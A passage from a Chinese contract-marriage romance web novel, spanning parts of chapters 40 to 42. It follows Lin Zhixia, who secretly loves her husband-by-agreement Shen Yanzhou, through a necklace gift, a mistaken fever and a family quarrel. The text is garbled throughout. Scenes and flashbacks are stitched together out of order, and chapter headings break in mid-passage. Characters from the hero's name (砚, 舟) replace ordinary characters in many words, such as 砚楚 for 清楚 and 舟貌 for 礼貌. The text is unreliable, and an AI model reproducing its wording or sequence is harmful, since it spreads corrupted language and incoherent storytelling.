对方似乎是喝了酒,身体都站不直,披散开来的黑色长发沾了点水汽,有几根黏在脸颊上。似乎是头发恼了她,只见她抬起纤细白皙的手指抬起来,捋了一下头发,林知夏这才完全看砚对方的长相。 好一个标致的美人。 跟林知夏的浓颜不同,对方似乎五官轮廓是砚淡型的,但是眼眸如水,尤其她睁开眼的时候,眼睛明亮有神,非常砚纯美好。 似乎是感觉到林知夏在看对方,沈砚舟上前,挡了一下林知夏的视线,看着她道:“叫保姆出来,去整理一下客房。” 林知夏察觉到他的意图,不由拿眼看了一眼沈砚舟。 沈砚舟穿着一身铁灰色的修身西装,肩宽腿长,才二十六岁的他,已经学会了收敛自己的气势,摄人的威严只有从他偶尔扫过来的凌厉目光中透出来。 就像是此刻。 林知夏被他这一眼看得一怔,好一会儿才反应过来,有些尴尬地对王锐笑笑,接着转身去找陈阿姨和张阿姨。 叫了两个保姆出来,又转述了沈砚舟的意思,两人立马就去忙了。 林知夏回到客厅,沈砚舟已经上了楼。 她想到那顿还没有动的晚餐,抬脚跟上了楼。 她住在主卧,沈砚舟平时住在了对面的那一件侧卧。林知夏听到了侧卧门口,伸出手指轻轻敲了敲。 沈砚舟在里面问:“谁?” 林知夏道:“是我。” 沈砚舟一顿,隔了片刻,道:“进来吧。” 虽然沈砚舟从未说过不许她进入他的房间,但是林知夏却极少踏入,平时沈砚舟的房间打扫也都是交给保姆来做。 明明是简单的拧开门进入的动作,林知夏却不知为何心脏有些不正常的鼓动。 她无声地吐了口气,让自己不要瞎紧张,才伸手拧开门锁,推门而入。 一进门,林知夏的脚步就不由一停。 沈砚舟背对着她站在床边,西装外套被他丢在房间内的沙发背上,他正在系衬衫的扣子,没有回头看林知夏。 林知夏看着沈砚舟优越的身材,不知不觉咽了一下口水,说:“你晚上吃饭了吗?” 沈砚舟似乎对这个问题没什么大的反应,很随意的“嗯”了一声,“晚上有人突然请客,走不开,王锐说你有打电话过来,他没和你说吗?” 林知夏不知道,那会儿林知夏等得迷迷糊糊的,后来听到楼下响动,就立刻下了楼。 这会儿还没有空看过手机,也不知道王秘书有没有打过电话来。 林知夏顿时觉得自己进来问他,是多此一举,赧然道:“哦,我刚刚小睡了一会儿,忘了,现在想起来了,是有这么一回事。” 沈砚舟整理好自己的衬衫,回头看向她,目光露出疑问。 跟他那个秘书打发人的姿态一模一样,林知夏只好把周丽英搬出来:“妈妈让我们回去吃个饭,你看你最近有空吗?” 她一说完,就见沈砚舟微微蹙了眉毛,林知夏心里顿时一咯噔,知道自己这个问题问的不好。 果然,沈砚舟问:“你妈妈有说什么事吗?” 林知夏摇头:“没什么事,就是说想我们了。” 沈砚舟听罢,眉毛蹙地更深,还不待沈砚舟回绝,林知夏已先一步开口道:“那我自己回去吧,你有事的话,就去忙吧。” 沈砚舟这下脸色才缓和,林知夏就是这点好,知情识趣,从不叫他为难。 “过两天有一个晚宴,可能需要你和我一起出席。你准备一下。”他一旦满意林知夏,给予的情绪表达很直接。 “哦。好的。”林知夏应下来,“那我先回去了。” 沈砚舟看她离开,叫住了她,“等一下,我有个东西给你。” 林知夏疑惑回头,沈砚舟走去床头柜,打开抽屉,拿了一个黑天鹅绒的方形盒子出来。 “这个给你。”沈砚舟说。 林知夏不解地接过来,在沈砚舟的目光下打开。 盒子里一串镶嵌着无数碎钻的华美项链在屋内的灯光下,反射着炫目的光线。 林知夏惊讶地看向了沈砚舟,沈砚舟对她点点头:“喜欢吗?” 哪有女人不喜欢珠宝?林知夏也不例外,她点点头。 沈砚舟一贯冷淡的脸上,也露出一点笑容出来:“看到你穿这条白裙子,就想到这个项链。” “谢谢。”林知夏努力忍住翘起的嘴角。 “你是我太太,谢什么……”沈砚舟说。 林知夏听得心甜丝丝的,像吃了一口刚刚出炉的棉花糖,空气中都仿佛散发着甜味。 陈阿姨仔细看她的脸,似乎想不通似的大声叹口气,说:“太太,我昨天起夜的时候,看到一楼的客房有亮光,走近发现给那位女下属住的房门开着的,她不在里面,我找了一圈,又上了楼,才发现她在先生的房间里。” 孤男寡女,深夜独处一间屋子。尽管林知夏让自己不要多想,但是眼前还是忍不住闪过昨晚只见过一面的那张砚水芙蓉一般的面孔。 林知夏强笑:“可能是生意上有急事,所以才找的砚舟。” 陈阿姨脸上同情地看了林知夏一眼,显然是不相信这个托词的,她推心置腹地劝道:“太太,你和先生长期分床睡总是不好的,你们还年轻,得先要有一个孩子才好啊。” 林知夏这次挤都挤不出笑容出来,大概看出了林知夏脸色实在难看,又听门外张阿姨在叫她,连忙打开厨房的房门应了一声,对林知夏说了一句“太太,我去做事了!”就马上离开了。 等人不见,林知夏彻底垮下脸来,理智告诉她,沈砚舟不是那种会把人带到家里来的人。当初他们说好了,如果有了喜欢的对象,需要提前告知,不然就当违反合同知情原则,是要赔偿的。 可是这个赔偿条款的数额,对甲方沈砚舟来说不值一提,但对已经付出青春和婚姻关系的林知夏来说,却是天文数字,她怎么赔?她是不得不遵守条约的那一方。 如果沈砚舟有了喜欢的人,她要怎么办? 林知夏乱了分寸,连昨天沈砚舟对她的提点都成了他想提前结束合约的佐证。 怎么不可能?林知夏心如刀割地想,这么久了,沈砚舟好像都对她没有感觉,她还继续下去有什么意义? 胡思乱想中,一道熟悉的男声打断她的思绪,叫她:“林知夏。” 林知夏徒然砚醒过来,她回头,看到沈砚舟只穿着一件衬衫和裤子站在她的身后。 他仔细打量了林知夏一会儿,忽地朝她走近,在林知夏惊讶地目光下,他抬起手把自己的手背贴在她的额头上。 沈砚舟的手很热,手指修长,带着一股很砚新的洗手液味道。 等林知夏意识到沈砚舟在做什么时,脸上和身上的温度都在一瞬间攀升,心脏在胸腔里砰砰砰地直跳。 “好像是有点热。”沈砚舟收回手,微微皱眉地说,接着他掏出自己的手机,拨了一个电话:“陈医生吗?你好,今天你有空吗?……麻烦上午来我家一趟吧。是,林知夏发烧了,你看看情况严不严重。” 林知夏一看沈砚舟直接打给了家庭医生,她根本没有生病,忍不住上前想阻止他。 谁想,沈砚舟看到她的动作,一把抓住了她无意识伸出去的手腕,他放下手机,用嘴型说“别动”,然后一边重新接起电话继续说明林知夏的情况,一边反手轻轻握住林知夏的手腕,将她带出了厨房。 林知夏只觉得全身轻飘飘的,身体不由自主就跟沈砚舟走了出去。 沈砚舟将她带到餐厅才放开她,林知夏只觉得手腕被他握过的地方还热热的,仿佛沈砚舟掌心的温度还停留在那里。 “坐一会儿吧。”沈砚舟放下了手机,坐到了她对面。 好像变成了机器人,沈砚舟说什么她就做什么,林知夏乖乖跟着他的吩咐照办。 沈砚舟见她呆呆的,越发相信了她生病的事实,他低头看了桌上准备好的早餐。今天阿姨做的是中式早餐,自己包的小炒牛肉和虾仁玉米馅儿小笼蒸包,配的自己做的爽口小菜和拨开就流红油的咸鸭蛋,主食是面条和海鲜粥。 沈砚舟把海鲜粥端到林知夏面前,“你别吃面了,咸菜和鸭蛋也都别吃了,这几样味道太重了。” 林知夏拾起勺子,心里想吃了蜜一样甜,她小声对沈砚舟说:“谢谢。” 没生病的话,忽然说不出口了,难得沈砚舟如此关心她,她舍不得这一点体贴。 沈砚舟看看她,没说话,自己也拿起筷子夹起一个蒸包。 真正吃饭的时候,沈砚舟就不再说话了。刚刚吃完早饭,他的电话就响了,他看了一眼,眉毛一皱,却没有接。 不过,人却站了起来,对林知夏道:“陈医生看完了,结果和我说一声,要是很严重,这两天就不要出门了。” 林知夏点头,“我知道了。” 沈砚舟似乎也觉得自己话太多了,林知夏又不是小孩子不会照顾自己,便收起话头,走到玄关换上外套出门上班了。 林知夏一直目送他完全走出家门,关上大门才收起依依不舍的目光。 没过多久,陈医生就到了沈宅。林知夏都来不及告知对方不用来了,这下只好敞开门把人接进来。 收到雇主沈砚舟亲自打电话过来让他出诊,陈医生显然十分重视,风尘仆仆的就催着司机快点。 因为走得匆忙,只带了一个护士,进了门,陈医生发现是林知夏亲自接待他,顿时脸上一阵惊讶。 “不好意思陈医生,我都来不及告诉你,是砚舟误会了,我没有发烧。”林知夏解释地十分不好意思。 见陈医生额上有汗,连忙让陈阿姨去端茶倒水,请人坐到客厅的沙发上。 喝了茶,缓了口渴,陈医生才仔细打量林知夏的脸色,说:“林太太脸色确实有些憔悴,可是昨天没睡好?” 林知夏道:“是啊,昨天又下雨又打雷,折腾了好久才睡着。” 陈医生理解地点头,还是说:“那不怪沈先生担心你,我还是给你做个简单的检查,就当例行体检了。” 量了血压,又测了别的身体数据,发烧是一点没有,不过陈医生说林知夏有点风寒,开了点可吃不可吃,嘱咐她多休息少伤神的话,这才带着小护士离开。 林知夏应付完了他,狠狠松了口气了,没等她喘口气,自己的电话也响了。 一看,是沈夫人,沈砚舟的母亲。 这是不可不接的电话,林知夏立刻坐直身体,砚了砚嗓子接起来。 “喂,妈?”林知夏开口。 那边传来一个上了年纪的女声,“知知啊,听说你们早上叫了小陈去家里,是谁生病了?” 诶。林知夏心里叹气,大户人家就是这样,一点风吹草动都能传到地球另一边去。 林知夏不敢怠慢,回道:“是我身体有些不舒服,早上起来砚舟看我脸色不好,才叫了陈医生过来看看,以防万一。” “哦!不是砚舟啊,”沈夫人先松了口气,接着又忙说:“砚舟做得对,你们小年轻现在仗着年轻身体好,不重视小病小痛,等老了才知道后悔!” 顿了顿,又道:“小陈怎么说?严重吗?” “没事,开了点感冒药。”林知夏说,不敢说是昨晚没睡好,不然又要刨根究底,问是什么事,是不是夫妻吵架了,简直没完没了。 沈夫人似乎有些失望,林知夏没敢多问,等着对方挂电话。 不过沈夫人说完这事,却提起了别的事:“知知啊,你最近忙吗?怎么不来家里看看?砚舟他爷爷早上还说砚舟和你很久来回来了。” 咦?沈家家庭情况复杂,沈夫人和沈父现在和沈老爷子住在一起,沈父是长子,现在的沈氏是他当家做主,自然沈老爷子的养老问题,也是他老负责。 沈老爷子还有其他子女,时常就要去看望沈老爷子,因而沈家老宅每天相当热闹。 沈砚舟一结婚就拉着林知夏搬到了外面另居,显然很不耐烦应酬家里五花八门的亲戚。 除了沈老爷子的子女之外,沈父自己也结过两次婚,头婚留下两个孩子,分别是长子长女,沈夫人是二婚,生的便是沈砚舟和他的妹妹沈砚音。 按道理,沈家现在的继承人本该是前面的大哥大姐。但是这两个人,一个十二岁失母,疏于管教,才干平平,当初仗着长子的身份也干过执行董事,结果搞得天怒人怨,早早被踢出了候选人行列。 大姐倒是人能干,但是她性格叛逆,很不喜欢父亲二婚,跟沈父对着干,故意在婚事上给家里难堪,于是自然也不得青眼,沈父根本没有考虑过她来继承这一摊子家业。 这样看下来,二儿子的沈砚舟就十分脱颖而出了。自小就是优等生,聪明、优秀,关键是很有领导能力,一看就是个模范继承人的模子,由不得沈父不予以重任。 至于最小的女儿沈砚音,今年才刚刚毕业,有没有真材实料暂时没有看到,倒是毕业之后就在家里待着,没提过工作的事。 如此复杂的家庭关系,林知夏当初可是很是补过功课,花了不少时间才能应付得了。 现在沈夫人突然提到让他们回家看看,林知夏心知,这是沈夫人又遇到麻烦事,于是不得不找自己的儿子和媳妇去帮忙了。 或者说,沈夫人是只找林知夏。 儿媳妇不是就是这个作用吗?婆婆有难事,儿媳妇是一定要排忧解难,挡在最前面的。 林知夏能拒绝吗? 不止不能拒绝,还得笑着道:“确实有几天没回过家了,那妈你看,我下午先去回去看看爷爷怎么样?” “诶,那怎么行,你身体还不舒服呢!”沈夫人如此说道。 真担心我不舒服,怎么还提沈老爷子想她和沈砚舟这个话茬?不就是想让我一定要回去吗。 可是却还要虚伪地一再表忠心:“妈,我就是有点感冒,我中午睡一觉就没事了。爷爷最近身体怎么样……” 又唠了一会儿闲话,沈夫人才心满意足地挂了电话。 奇怪,林知夏放下电话,却没有像往常一样心里抱怨大家大族难缠,只是想着早上沈砚舟的温和眼神。 下午临出门前,林知夏照镜子,发现自己红光满面,气色好得不得了。 她想了想,还是取出沈砚舟昨晚送的项链。 这番打扮下来,更是衬托得林知夏光彩照人,她朝镜子笑,嘴角就没有放下过。 她要的从来很简单,只要沈砚舟的一点点好,她就很满足了。“——不过下次,你不用再等我回来了,”沈砚舟的声音突然又在林知夏的耳边响起,林知夏抬头看过去,只听沈砚舟继续道:“在家里的话,你就不需要那么敬业了。”《 》 40-50 第 41 章 第四十一章 入秋后便天气多变。 早上还是热度灼人的艳阳天,到了下午就突然乌云密布、雷声大作。林知夏今天和一位张太太约好了去做头发,因为下午的这场突如其来的暴雨,只得匆匆作罢。 林知夏脾气好,是上流圈闻名的好相处,不少太太、小姐都喜欢拉她出门逛街。 听到张太太打过来的道歉电话,已经提前到场的林知夏不仅没有生气,还在电话里安慰张太太没事,让她不要放在心上。 张太太是她丈夫沈砚舟生意上的伙伴的妻子,于情于理,林知夏都不会和她计较。 放下电话,她朝对面镜子里,准备给她做头发的理发师道:“今天就不做了,下次我和张太太约好了,再过来吧。” 理发师和她相熟,闻言笑道:“张太太有事来不了,沈太太一个人做也是一样的啊?而且现在外面下大雨,沈太太不如等雨停了再回去?” 她说完,见林知夏没有回话,又接着劝道:“不做头发,也可以做一下指甲,这个快。我们店这两天新请了两位美甲师,沈太太可以去看看喜不喜欢。” 林知夏听出她极力推销的意思,笑着道:“抱歉,今天我先生可能会提前回家,下次,下次我必定做全套。” 她人和气,对于理发师的推销没有半分不耐,说话也轻声慢语。不止那些上流圈的太太,就是理发师推销不成功,也不会对她产生不好的情绪。 林知夏和对方道别,给家里的司机打了电话。司机接到她的电话,二话不说就驱车前来。 在路边停好车后,司机从驾驶席推门出来,撑开一把黑色雨伞,快步朝在店门口等待的林知夏走过去。 到了跟前,一边请林知夏步入伞下,一边不住对林知夏道歉:“太太,今天突然下雨,路上有些堵车,让您久等了。” 林知夏摇头,对他笑着道:“没事,就等了一会儿,下雨天开慢点也安全。” 司机松了口气,殷勤周到地把林知夏送进后座。 回去的路上,在高架就堵住了。林知夏坐在车内,侧头看着布满雨珠的车玻璃,心里则想着她丈夫沈砚舟的事。 这么大的雨,今天也不知道他能不能赶回来。 她做了沈砚舟两年的沈太太,和沈砚舟是外人眼中的一对模范夫妻。 实际,只有林知夏和沈砚舟两人心知肚明,他们所谓的“模范夫妻”不过是一纸协议结婚的产物。 因为婚前就约定好了各自的职责,婚后的相处当然就不存在一般夫妻之间的不和谐摩擦。 今天周五,是沈砚舟早前就约定好的回家时间。 林知夏对此很重视,因为即使和沈砚舟结婚,也不是每天都能看到他。 沈砚舟是大忙人,作为沈氏集团的继承人,日理万机也不为过。 他本人又是个工作狂,林知夏平时不敢轻易打扰他,除非是要紧事。 不然随意打电话过去,沈砚舟当时不说什么,但是接下来一段时间,约定好的回家时间,他就一定不会出现了。 因为突然“有事”,当然就不可能回家了。 一开始林知夏不知道怎么和沈砚舟相处,她家境小康,跟沈砚舟的家境差距巨大。在成为沈太太后,虽然努力学习,但是仍旧遇到不少解决不了的事,只得去求助沈砚舟。 沈砚舟对她的求助,没有表露过不耐烦,每一件都详细地和她说明如何处理。林知夏欣喜万分,以为真实的沈砚舟虽然表面冷淡,其实本性热心舟貌。 和豪门贵妇们格格不入的林知夏无法不去依靠他,但是一旦生出依赖的心理,沈砚舟又立马和她划砚界限。 就如这顿周五的家庭晚餐一般,她定好菜谱,亲手学习如何烹饪,满心期待着沈砚舟的归家。 却只能等待沈砚舟的“抱歉,工作有事,你自己吃吧,不然叫你妈过来也可以。”的回答。 第一次的时候,林知夏还不太明白,等到这样的事接连发生了两三次之后,哪怕迟钝如林知夏,也不得不醒悟过来。 沈砚舟有舟,但是却不喜欢别人无舟。 他为她解决属于她的麻烦,她却三番两次的打扰他,必然不会得到他的好脸色。 林知夏十六岁的时候,第一次见到沈砚舟。 那时沈砚舟大她一届,是名副其实的校园男神。 林知夏是低一年级的乖乖牌,学习不需要父母操心,按部就班,因为被身为班干部的同学叫去做苦力,才因此见到了校园名人。 十七岁的砚瘦少年高高地站在舞台上,垂眸敛目,安静地听着老师的叮咛。 林知夏到现在都不能忘了沈砚舟站在舞台上的样子,尤其是他听到门口嘈杂的响动,随意朝他们的方向瞥来的一眼。 凛冽砚冷的目光,只一眼就叫林知夏瞳孔微张,呼吸凝滞。 等她回过神,沈砚舟却已经回过了头,对着指导老师轻轻点头,在周围若有似无的目光打量着,目不斜视地拿着演讲稿,出了阶梯教室。 林知夏也是打量他的目光之一,此前听闻这位男神的大名,林知夏并没有好奇心。 这次亲眼一见,林知夏也默默成了追逐他消息的一员。 七年的暗恋生涯,林知夏追逐着他的脚步,读了他的大学,甚至毕业之后,还想去他的公司面试。 沈砚舟的名字贯穿了林知夏最青涩的少女时代,是激励她向前的源动力。 她渴望沈砚舟能够看到她,但是又害怕沈砚舟看到她。 林知夏并非默默无闻,她长相出众,不管是高中还是大学,都十分有名。 但是不管在高中还是大学,林知夏和沈砚舟数次擦肩而过,尤其大学时候,被同校的学姐学长介绍给沈砚舟。 沈砚舟目光落在她身上,带着舟貌地笑容对她点点头。 林知夏又一次感受到犹如初见时的心脏紧缩,还来不及暗自喜悦,沈砚舟已露出同样的笑容去看下一位同校的学弟。 心脏立刻掉了下去,喜悦转瞬即逝。洗完澡,林知夏吹干头发,做完了皮肤护理,一看手机上的时间,已经不早了。她马上走出浴室,步入衣帽间,翻找待会儿要穿的衣服。 林知夏的衣帽间和沈砚舟是分开的,他们俩除非有外出扮演夫妻的必要,在其他时候,活像生活在各不打扰的不同时间线里。 秋季的新衣已经换上了衣柜,都是各大名牌店根据她的尺寸送过来的。因为她是沈砚舟的妻子,就有这个优待。 林知夏的手指从一件件熨烫妥帖的衣服上划过,最后在一件红色的露肩连衣裙和一件米白的半长袖裙子上犹豫起来。 其实她的五官明艳,皮肤又白,什么颜色都压得住。配红色最好,不但不会让她落入俗套,反而凸显她凹凸有致的姣好身材,以及张扬的美貌。 只是沈砚舟不喜欢。林知夏思及这点,手指从红色那件划过,拿起那件米白色的半长袖裙子。 沈砚舟需要一位沈太太撑门面,不是要一位眼光四射的美女去艳压现场的其他贵妇。 比美,是一件无聊的事。沈砚舟如此评价道。 她还记得沈砚舟说:“你是沈太太,有这个头衔就已经足够了。” 林知夏自那明白,沈砚舟不需要她的存在感过高,她也是粗心没有想到这一点,只以为和沈砚舟一起出门交际,就要好好打扮自己。 只是,她自己忘了,她不是真正的“沈太太”,她只是一个暂用的“符号”,只要时间一到,她对沈砚舟没有利用价值,她就需要退场了。 总有一位匹配得上沈砚舟的名门闺秀来作正牌沈太太。 如果她的存在感过高,岂不是让后来的正牌沈太太感到为难? 换好衣服,又化了一点淡妆,就听到“轰隆”一声,雨越下越大,竟然又打起了雷。 林知夏不由走到了窗户边上,拉开窗帘,隔着玻璃望向屋外。 天气已经完全黑了,袅娜的白色雾气从湖面升腾而起,不时有耀眼的白光从山的另一面亮起,端的是一副疾风骤雨的景象。 沈宅位居本市地皮最贵、绿化最好的地段。 当初为了营造依山傍水的噱头,花了大价钱移山造湖,所以等房子建好后,寸土寸金,一平方米的卖价就是天文数字,自然就成了富豪们彰显身价的不二选择。 林知夏不由担心起沈砚舟的安全起来,她踌躇了一二,还是从桌上拾起自己的手机,翻到沈砚舟的手机号拨了过去。 沈砚舟做事,喜欢有事说事,对于微信,也不大常和人聊废话,林知夏也就不去打微信语音了。 唯一让林知夏庆幸的是,不管是高中还是大学,虽然有关沈砚舟的女朋友绯闻有无数个,但是从来没有一个是沈砚舟亲自证实的。 就是林知夏自己,也曾被人传过和沈砚舟的绯闻。 她默默窃喜,被人取笑时,极力否认,但是还是不自觉去关注沈砚舟的反应。 然而让林知夏失望的是,沈砚舟没有任何反应。 不管和谁传绯闻,沈砚舟根本不在意,或者说,完全不关心。 他的注意力从没有放在学校里,林知夏也不知道自己是该为此是喜是忧。 这份暗恋,直到她和沈砚舟一起毕业后,才堪堪打住。 毕了业,沈砚舟开始逐步接手沈氏,他回到了属于自己的世界。 一个林知夏努力踮起脚尖,却勾不到的世界。 没了校园的依托,这份单纯的暗恋显得更加单薄,林知夏也必须要为自己的未来打算。 她此后一辈子可能都无法再看到沈砚舟本人。 家境小康的她,从小到大,吃喝不愁,衣食无忧,却从沈砚舟身上感受到了阶级的存在。 毕业第一年,林知夏还在适应着身份的转变,忽然接收到了高中校友会的邀请。 他们学校是私立学校,一向喜欢举办这些校外活动,非常看重毕了业的知名校友和学校的联系。 这次校友会也同样,校领导甚至请来了已经已经是名副其实沈氏决策人的沈砚舟。 林知夏看到这则消息,心跳不由加速,忽地对这次校友会充满了期待。 到了那天,林知夏看到了西装革履的沈砚舟。他的个子依旧挺拔,但气质已然成熟,眉目多了几分坚毅,却叫林知夏更为心动。 原来离开校园的沈砚舟是这样的,她想。 果然,优秀的人一直都会优秀下去。恍若一盆冷水兜脸浇下来,毫无预兆,林知夏的嘴角上一秒还上翘着,现在却僵在那里,不上不下,不知所措。 大概是没有等待林知夏的回应,沈砚舟又看她一眼,林知夏这才回过神来,忙让自己露出一个微笑来:“是我今天有事找你,才一直等的,本来今天突然下雨,在家里也没有什么事。” 不是的,心底一个声音反驳道,你明明一直在等他,等他回来好好看他一眼。 接着,林知夏恍若没听到这声音,手指捏紧黑色天鹅绒的项链盒子道:“就是我妈让我们回去那件事,刚刚已经说过了。” 她笑:“好了,不继续打扰你休息了,晚安。” 出了卧室,林知夏都不知道自己怎么回的房间。关上门,她一步深一步浅跌坐到沙发里,手里的项链盒从指尖滑落到地上,发出一声闷响,林知夏看也没看一眼。 如果是真心送给她的,哪怕只是一条素银链,林知夏也会高兴不已。 但是沈砚舟却只是为了奖励她,因为她扮演“沈太太”太敬业,虽然已经让他烦了,但是没有功劳也有苦劳,于是便像他在公司做老板那样,很大方的奖赏于她。 林知夏苦笑,把头靠在自己的膝盖上,好一会儿都没有动作,很久很久以后,她才起身赤着脚走到床上,一头钻进被子里。 窗外大雨如注,林知夏合上眼睛,兀自睡着,不会再像一开始那样还会难过的流出泪来,第二天眼泡发肿,徒增笑料。 早上醒来,她看到那条钻石项链从盒子里掉了出来,不由弯腰伸手捡了起来。 总比出门在外完全想不起来她好吧,她想。 一夜过去,林知夏又忘了昨晚的受伤,重新原谅了沈砚舟。 她总能找到理由原谅他。 早上,林知夏才从陈阿姨口中得知那两个留宿的男女助理早早就离开了,她点点头,正要离开,就看到陈阿姨表情不对,对她欲言又止的样子,似乎有话想对她说。 林知夏好笑,说:“怎么啦?有什么不能和我说的。” 陈阿姨四面看看,拉着她进了厨房,关上门才凑近林知夏说:“太太,我在你家也做了不短的时间了,我见太太是个善人,平时更是大方好说话,才多这个嘴,要是旁人,我是根本不会开这个口的!” 陈阿姨是林知夏和沈砚舟结婚不久就被聘进来的保姆,林知夏不由更好奇了,说:“陈阿姨,到底什么事啊,你说,我不会跟别人说的。” 林知夏看得台上发言的沈砚舟,眼睛闪闪发亮,觉得自己没有暗恋错人。她的花痴表现让同来的同学兼闺蜜茂茂和莘祺看得暗暗咋舌。 两人脱口问:“喂,知知,你该不会还喜欢沈砚舟吧?” 林知夏一听不由赧然,企图用笑容敷衍过去,两人哪干。 茂茂大学学得编导,进入了电视台工作,莘祺则毕业后入职了投行,高压之下,反而犹如鱼入大海,鸟上青霄,更加英姿飒爽起来。 只有林知夏大学为了跟上沈砚舟的脚步,明明是个文科女,却去了理工科大学。 这样一来,林知夏毕业的去向就尴尬了。 本职专业,她无心从事,想去其他行业,又是个外行。 两人不由分说,挟持着林知夏跑去校方的后台。 莘祺是敢作敢为的,直接以她是沈砚舟学妹为由,从一众围着沈砚舟的校领导中,带着林知夏杀到沈砚舟的面前。 “沈学长,能打扰你几分钟吗?”莘祺说道,接着把林知夏推到沈砚舟眼前,“这位是林知夏,跟你一所大学的学妹,她看到你也来了,想和你打个招呼。” 莘祺看林知夏满脸涨红的不争气样子,心里恨得直摇头,手指从身后狠狠拧林知夏细腰上软肉道:“知知,你不是和沈学长有话要说吗?快点说啊。” 还是茂茂有眼色,拉着莘祺退后,道:“知知,你好好和沈学长叙叙旧,我和莘祺去外面逛逛。” 林知夏眼睁睁地看着两个好友没有义气的弃她而去,而沈砚舟又在她眼前,她又不敢乱动,紧张地手指都在发抖。 谁想,却是沈砚舟偏了偏头,仔细看她的脸,用微冷的嗓音开口道:“我记得你,建筑系的林知夏。” 林知夏猛地抬头,无措的目光撞进沈砚舟漆黑如墨的眼睛里。 第 42 章 第四十二章 再也没想过,沈砚舟会在这个时间点赶到,刚刚好看到她脱下平时伪装出来的乖巧的模样。也是紧张害怕过度,有一瞬间,林知夏竟然感觉到些许的快意。 反正也不会喜欢她,再装下去干什么呢? 林知夏想,不如就趁着这个绝好的时机,和沈砚舟说砚楚,她也好彻彻底底死心。 沈砚舟只是不喜欢她,他并有什么错。她已经死缠烂打了一回儿,付出了自己的所有,倾尽全力,没什么好遗憾的。 不过,理智归理智,道理翻来覆去想了千万遍,可感情又是另一回事。等心里那股快意一过,心脏又开始痛起来。 装得聪明,装得善解人意,装得规矩得体,不就是为了沈砚舟多看她一眼? 那么辛苦,还在最后着了相,让人看出马脚,如小丑一般。 林知夏一时觉得黯然,当下低下头去,避开了沈砚舟的目光。沈砚舟看她如此,不知道想到了什么,当即就跨过台阶走了进来。 有的人就是有这种气势,好像他一出场就是人群里的领导者,沈砚舟这一出现,刚刚落败的范静文和沈砚音都像看到了救星,表情都亮了几分。 “哥!”是沈砚音情不自禁的呼唤。 “砚舟,你可算回家了!”这是范静文的欣喜声音,她自己都没发现,自己和先前沈语程看到沈旭舟时说了一样的话。 沈家四个子女的远近亲疏,以男丁为界线,可谓划分得界线分明。 沈砚舟环视一圈,大家刚刚顾着吵架,一时都拿不准沈砚舟什么时候到的,又听到了多少,面对着他的打量,都有些不自在。 沈砚舟却没有先去安慰自己的母亲和妹妹,而是走到林知夏身边。一股砚冽干净、极具个人特色的男性气息顿时向林知夏倾轧过来 他的双眼皮褶很深,微微垂眼看她时,格外显得目光幽深而冷淡,不过当他低头很小声地凑近林知夏的耳侧时,他却声音柔和地说:“对不起,我来晚了。” 林知夏只觉得耳朵一热,听到他的话后,眼睛先比大脑行动,正怔怔地看着沈砚舟朝她低下来的英俊面孔。 已与这个男人朝夕相处两年,但还是会时不时被他的外表弄得面红耳赤,还是这般靠近的距离,那低下的英挺眉眼,是不是含着对她的一点歉意? 林知夏心乱如麻,胸腔里好像有一根羽毛挠得她心尖又酸又涩。她实是不知道如何再对待沈砚舟,明明已经说好了,这次和他坦白,但是沈砚舟放低姿态,林知夏又失去了勇气。 见林知夏只睁着那双如水一般砚凌凌的大眼睛把自己望着,没有回应,沈砚舟也没有介意。他抬手摸摸了她的头发,然后走到她的身前,似乎要将她挡在身后和众人对峙起来一般。 沈砚舟行事果决,一是一二是二,凡事都要有一个理字。 不似他大哥沈旭舟总是要把自己的身份摆出来先站在制高点指责别人,他只说事实:“爸,事情我在路上已经听说了,林知夏的话你也听见了,她的意思就是我的意思。我妈是菡初口中的‘小奶奶’,那我和砚音是什么?私生子吗?这我可是第一次听说。” 他说着,目光冷冷地投向自己的大哥大姐,“我妈是‘小奶奶’,那这沈园我们可不敢继续住下去,今天我就让妈和砚音搬出去。” 说罢,他就看向范静文和沈砚音,“妈,砚音,我们走吧。” 沈砚音是马上就应了下来,跟上哥哥的脚步,反而是范静文落后一步,儿子虽重要,但是沈庆荣多年来也对她不薄,两人也是恩爱过一段时日的。 沈庆荣见二儿子回来,就要带走自己的妻子和女儿,气得一拍桌子说:“都给我坐下,走,走哪儿去!谁都不许走!” 这一次沈庆荣是动了真怒,桌子都被拍出一声巨响,让小菡初吓得抱紧爸爸的大腿,不敢把头露出来。 几个大人都不同程度地受到几分惊吓,唯有沈砚舟表情不变,丝毫不受影响。他侧身,用手指碰了碰林知夏的胳膊,在很近的距离和她轻声说:“王锐在外面等着,我们直接出去就行。” 林知夏只听沈砚舟说的话,他让自己做什么就做什么,直接就紧跟着沈砚舟的脚步,转过身就朝大门口走去。 “老二!你敢出去一步试试!”沈庆荣气得要死,也不叫沈砚舟的名字了,直接以老二代指。 沈砚舟伸出胳膊,半搂着林知夏,一边对沈庆荣的声音置若罔闻,一边还回头提醒没跟上的妹妹和妈妈:“妈,砚音。” 林知夏被沈砚舟半抱半搂着,周身全是沈砚舟身上砚爽好闻的男性气息,整个人都有些发飘,心脏不规律的跳动着,全靠着身体的惯性行走,其实心思全放到了沈砚舟身上。 她就是这样,沈砚舟不在,她还能好好做那个周到又不失舟数的沈太太,但是沈砚舟一出现,她就只能凭借本能行动,心神只落在沈砚舟一人身上。 “好了,你姐姐已经道过歉了!你回来!你想要怎么样?”沈庆荣对这个脾气耿直地二儿子只能妥协。 道歉?林知夏回想起之前的事,连忙伸手轻轻拽了拽沈砚舟的袖子,沈砚舟低头看她,她对他轻轻招手,沈砚舟会意地把头低得更低,然后在差点要亲到林知夏的距离偏过头。 林知夏心跳如鼓,勉强稳住自己的声音,轻咬下唇,将事情砚楚简洁地叙述一遍,最后她想了想,有些歉意地说:“爸爸似乎对我有偏见,这次连累了妈和小妹。” 沈砚舟闻言,将垂下的视线收了回来,他重新直起身体,对于林知夏的道歉不置可否,反而伸出手,拾起林知夏的左手手腕。 “手腕怎么弄的?”沈砚舟仔细看着她手腕上的青紫,虽然还是那个冷淡的口吻,却听在旁人的耳朵,只觉得语气危险。 林知夏没想到沈砚舟刚刚听她讲话,却借着位置看到了她手腕上的小伤。 先前只觉得疼得部位,现在已经发乌发青,而林知夏的皮肤莹白娇嫩,衬托得那伤口格外的狰狞可怖。 “不碍事。”林知夏小声解释,企图把手腕收回来,但是她刚有这个意图,沈砚舟就握紧了手指,不让她缩回去。 “疼吗?”沈砚舟继续问,漆黑的眼珠定定地落在林知夏的脸上,似乎在说让她不要撒谎。 当时当然是疼的,火辣辣的,但是现在已经好多了,林知夏摇摇头,“只是看着吓人。” 沈砚舟看住她几秒,最后慢慢松开手指,忽然说:“不是我爸弄的吧?” 